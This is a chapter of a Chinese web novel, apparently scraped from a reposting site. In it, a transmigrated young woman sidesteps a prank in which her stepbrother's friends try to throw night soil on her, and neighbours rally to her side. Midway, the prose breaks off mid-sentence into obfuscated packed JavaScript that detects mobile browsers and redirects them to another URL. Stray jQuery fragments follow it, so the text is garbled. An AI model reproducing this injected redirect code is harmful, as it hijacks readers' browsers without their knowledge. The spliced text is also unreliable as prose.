‘叮铃——’


    “小姑娘，赶紧往旁边让一让。”


    夏云婉连忙侧了个身，给后方过来的二八大杠让位置。


    车轮从街口人家门前的返潮路面驶过，地上泼的洗衣水溅起微微的水花。


    这年代的河岩市，道路还很狭窄，天虽热着，但空气却没有那样重的汽油味儿。


    深吸一口气，就连吹来的风都是温吞的，从西南方向吹来，夹杂着淡淡的海水气味儿。


    虽才来这里不到一天，可夏云婉却并不感觉陌生，甚至出门后，这一路上都在感兴趣的四处张望，神色中带着几分怀念。


    这里，跟她小时候长大的城市地理位置上几乎相同，只是城市名字不同。


    后来毕业后家里不好找工作，她才北上留在了京市。


    可若说生活，其实夏云婉一直都很怀念故土，那个养育她的地方。


    在出租屋时，她偶尔也会做梦，梦到小时候的街道。


    却不曾想，如今干脆穿到了一个如此相似的城市来。


    不过就是处境暂时窘迫了些。


    夏云婉瞄了眼身上洗得发白的衣衫跟马裤，心里默默想着。


    但不着急，慢慢……


    “嘘……”


    “别被她发现了。”


    又是这个声音。


    夏云婉皱了皱眉，余光瞥了眼身后。


    打从刚才出了家属院门没多久，她就感觉到后面似乎有人在跟着自己。


    跟着的人一点也不专业，方才自行车经过时，他们没来得及躲闪，还露出了一大截衣服。


    一开始，夏云婉以为是夏云朵跟来了。


    她本来也不是要去找顾朝阳的，就没当回事儿，可走了一段路才发觉，后面竟是三两个十来岁的男孩儿。


    想了想，夏云婉迈开了步子，走得比刚才快了不少。


    “快快快，你们俩带着痰盂去前面拐角拦住她，等会儿我从面喊人，喊完你们就泼，别犹豫！”


    夏宝金捏着鼻子，指挥着身后两个小伙伴。


    痰盂被人用报纸封了口，但离近了，立刻便能闻到从里面散发出的恶臭。


    仔细看看，原来这三男孩儿鼻子里头塞了草纸堵着，这才能一路拎着走过来。


    “夏宝金，我们这次为了你报仇可做出了巨大的奉献，除了冰棍，咋也得再给点报酬吧。”


    “就是，我俩……一人再要一毛钱！”


    夏宝金：“我拢共就拿了五毛，一人一毛，又找挑粪的给了一毛，剩下买仨冰棍往哪儿还够用，不行！”


    “不行？那我们就不去了！”


    “就是，不去了！”


    眼瞧着夏云婉越走越远，夏宝金着急起来。


    到时候没报仇成功，还得把钱还给大姐，不成不成。


    “行，给就给，但你们得保证能泼到她身上，裤腿也行，她就这一条裤子没洗，泼上了今儿就出不去了，到时候还能看她闹笑话！”


    虽然不知道大姐为啥非不想让二姐出门，但只要能报仇，他才不想那么多呢。


    之后两个孩子点点头，飞奔着绕到了旁边的小巷子里，抄近路准备去前面提前蹲守夏云婉。


    夏宝金算了算时间，等那边快到了，也一路小跑，拐了弯后，追着夏云婉的背影喊起来。


    “二姐，二姐等一下！”


    “二姐，夏云婉——你等一下啊，妈说让你回家的时候顺便给打瓶酱油！”


    夏云婉早就听见了声音，她余光瞄准了旁边的一处凉棚，等快走到了，才缓缓停下来。


    而在夏云婉前面的街口，提前到了的另外两个男孩儿，已经一块儿拎着那个装了粪水的痰盂部署好了一切。


    就等夏云婉转身，然后就立刻上前泼了就跑，这样也不会被看到，也不会被抓住。


    这事儿他们不是头一次干了，只是从前泼过洗衣水，泼过泔水，粪水还是头一次！


    可夏云婉却没有转身的意思。


    她站在凉棚旁边，耳朵听着身后夏宝金的脚步声越来越近，这才缓缓作势要转身。


    只是旁边没注意，夏云婉却提前留意着，余光瞥见了街角有人冲过来，提前一步，微微侧身迅速钻到了凉棚里面去。


    “夏云——呕！！！”


    “我操，泼错人了！！”


    “快跑！！”


    “臭死了，谁家孩子瞎胡闹玩粪水！！给我站住！！”


    “拦住他们，就是他们两个——”


    “太恶心了！！”


    “呕——”


    ……


    一番兵荒马乱，泼粪的俩孩子被凉棚主人，跟街道上路过的行人，住户一块儿堵在了墙角。


    作案工具痰盂丢在地上提溜乱转，周围人捂着口鼻，怒目都瞪着他们俩。


    夏宝金个子矮，粪水险些泼到脖子上，半身都挂着汤汤水水，也顾不上别的了，趴在地上一边哭一边吐，一边吐，还一边翻白眼。


    “你们两个是谁家的！！这凉棚是公家刚搭好准备当卖菜点的，你们这属于是破坏公家财产懂不懂？！”


    原来凉棚里面正在打理地面的不是住户，而是街道上的工作人员。


    呦，那还真是不巧了。


    夏云婉在旁边抱着胳膊看着这一幕，她躲之前可没想到闹到公家上面去。


    俩孩子也是十二三岁的年纪，此刻被抓后，又被大人骂了几句，现在听还是公家财产，吓得更是哆哆嗦嗦。


    “呜呜呜，我们、我们不是故意的，我们一开始没打算泼凉棚！”


    “对对对，我们也是被人指使的，就是——”


    俩孩子扫了一圈，目光落在狼狈的夏宝金身上。


    “是他指示我们干的！”


    “对！”


    工作人员不相信，横了一眼过去，“哄谁呢，他让你们泼他自己？”


    “真的，我们是泼错人了，原本要泼的是他姐姐！！”


    这下众人才看向夏云婉。


    夏云婉摊开手，“这是我继弟，我俩关系是不好，但说白了我是无辜的。”


    工作人员皱皱眉。


    旁边有路过大娘也围过来一边捂着鼻子一边看热闹。


    “哟，这是毛纺厂家属院夏家那个二丫头吧，啧，他家把小儿子惯坏了，没少欺负人，没想到现在都敢给亲姐泼大粪。”


    “还泼到了公家的凉棚上，现在泼粪，将来不得毁田害人啊。”


    “啧，现在不就是在害人，可臭死我了，叫他们家人来给咱们收拾干净，否则坚决不依！”


    “就是就是……”


    工作人员左右看看，最终喊了人帮忙，拉着三个孩子一块儿先去找家属院的家长解决。


    夏云婉也被要求跟着。


    “可我还有事儿呢同志，刚才我也没想到后面有人泼粪，只是听见有人喊我，我怕挡了路，这才侧身先进凉棚的。”夏云婉一脸无辜道。


    工作人员刚才听人说了夏家的大概。


    重组家庭里母亲带过来的闺女，肯定在家没少受委屈，也不容易。


    “夏同志，我知道这事儿跟你没关系，你也算是受害人，但也是当事人，得跟着去做个见证。”


    “……那好吧。”


    毛纺厂家属院。


    路人押着俩大一点的孩子，夏宝金则是被人捂着鼻子揪着轰着进了家属院。


    刚一进去，臭味儿散开，就有人捂着鼻子骂娘。


    “哪个孙子把茅坑炸了？”


    “谁家把拉粪车赶进来了？”


    “都不是！”刚才替夏云婉说话的郭大娘捏着鼻子，把刚才的事儿大致说了。


    张艳红急匆匆赶过来，看这场景，听完以后，眼前一黑差点昏过去。


    不过据夏云婉观察，张艳红应该是被冲过去的夏宝金给熏昏的……


    工作人员冷眼看着，“先别急着晕倒，那雨棚是公家的，还有那边的路面，现在弄


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16923880|192685||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    脏了不好清理，你们家得负责！”


    张艳红把硬往自己身上贴的夏宝金推到旁边，连忙点头哈腰表示愿意。


    “可这事儿不只是我家孩子干的啊。”张艳红又反应过来。


    工作人员：“其他两家也跑不了，今儿都去给我一块儿过去，晚上之前不清理干净，都给我等着街道开会的说话上台检讨！”


    夏宝金是出主意的人，张艳红自然答应的利索。


    另外两家就没那么痛快了。


    一边拧着孩子耳朵教训孩子，一边含沙射影的骂人。


    “都说了别跟那种坏孩子接触，为了五分一毛的，真没出息！”


    “大人啥样孩子啥样，大人不修德行，孩子打小就是怀胚子！”


    “倒了八辈子的霉，跟着这种人当邻居！”


    张艳红也没办法，低着头顶着骂，回家拎水桶找抹布去擦粪水。


    “云婉，你帮着你弟烧热水洗澡，再把衣服给洗了。”


    “？”


    夏云婉瞪大眼睛扯着嗓子：“妈，夏宝金要朝我泼粪，你还让我给他洗衣服？妈，你这么偏心，不怕我那死了的亲爹化成鬼魂夜里找你去啊？”


    “你……”


    “我怎么了，我好好走街上我还有错了？谁爱管谁管，我反正不会管！”


    “二丫头说得好。”郭大娘捏着鼻子拉夏云婉到身边，“就没见你这样偏心眼的亲妈，就算另有了孩子，也不能这样欺负人吧，走，上大娘家先坐会儿。”


    夏云婉平时在家被怎么对待的，大院里人都看在眼里。


    有看热闹的，自然也就有可怜她的。


    郭大娘起了头，就另有人附和着替她说话。


    张艳红面子上挂不住，低着头自己领着夏宝金进去收拾了一会儿，就连忙又拎着水桶去街上擦凉棚了。


    -


    夏云婉跟郭大娘聊了很多，也认识了好些大院里的邻居。


    张艳红在大院里人缘并不好，之前夏云婉也连带着没人搭理，但今儿看夏云婉难得说这么多话，不少人其实都在替她叫好。


    “你啊，从前就该硬气点，瞧你被欺负的，我都想起来我妹子家再婚后带过去的那个小侄女儿了，早些年闹饥荒，咱们这儿没少死人，饥荒过去，可不少死了丈夫老婆的另外带娃再婚的，要家家户户都跟她那样，谁家日子都得鸡飞狗跳的！这家属院人多，一家吵闹家家都受影响，看热闹是有意思，时间久了谁都嫌烦，不瞒你说，我儿子的大闺女也是当初收养的北方过来躲饥荒的……”


    这话聊起来，就没了头。


    夏云婉又是一个极好的听众，她当成八卦听个热闹，时不时的附和两句，引得郭大娘聊起兴了。


    郭大娘：“二丫头，你这一打扮我瞧着比你那姐姐靓多了，回头呀，我给你介绍个好点的对象，就我有个侄子，也是咱纺织厂的，人高马大宽脸浓眉，你一准能看上！”


    人高马大挺好，浓眉也好，宽脸不太好……


    不过要是之前，夏云婉怎么也得客气着点头，现在就先算了。


    夏云婉：“郭大娘，我家已经给我介绍对象了，过些天人家就来接我。”


    “谁家的？在哪儿工作呀？”


    “市区东城的，以前老一辈儿定下来的婚事，条件听说还行，是个当兵的。”


    郭大娘皱皱眉：“我前两天听你家夏云朵提过这茬？不会是……”


    夏云婉遮掩着笑道：“您兴许是记错了吧，没这事儿，就是我的婚事，中午了，就不打扰您了，我先走了。”


    等她一走，郭大娘就看向旁边的人。


    “一准是夏云朵那娇丫头耍无赖，自己嫌人家条件差，所以把婚事推给了二丫头。”


    “估计是，可在东城住，又是个当兵的，条件怎么也不会差吧。”


    郭大娘想了想，眯着眼睛分析，语气肯定：“一准儿见了照片，觉得男方又挫又丑才换的，就夏云朵那脾气，绝对没错！”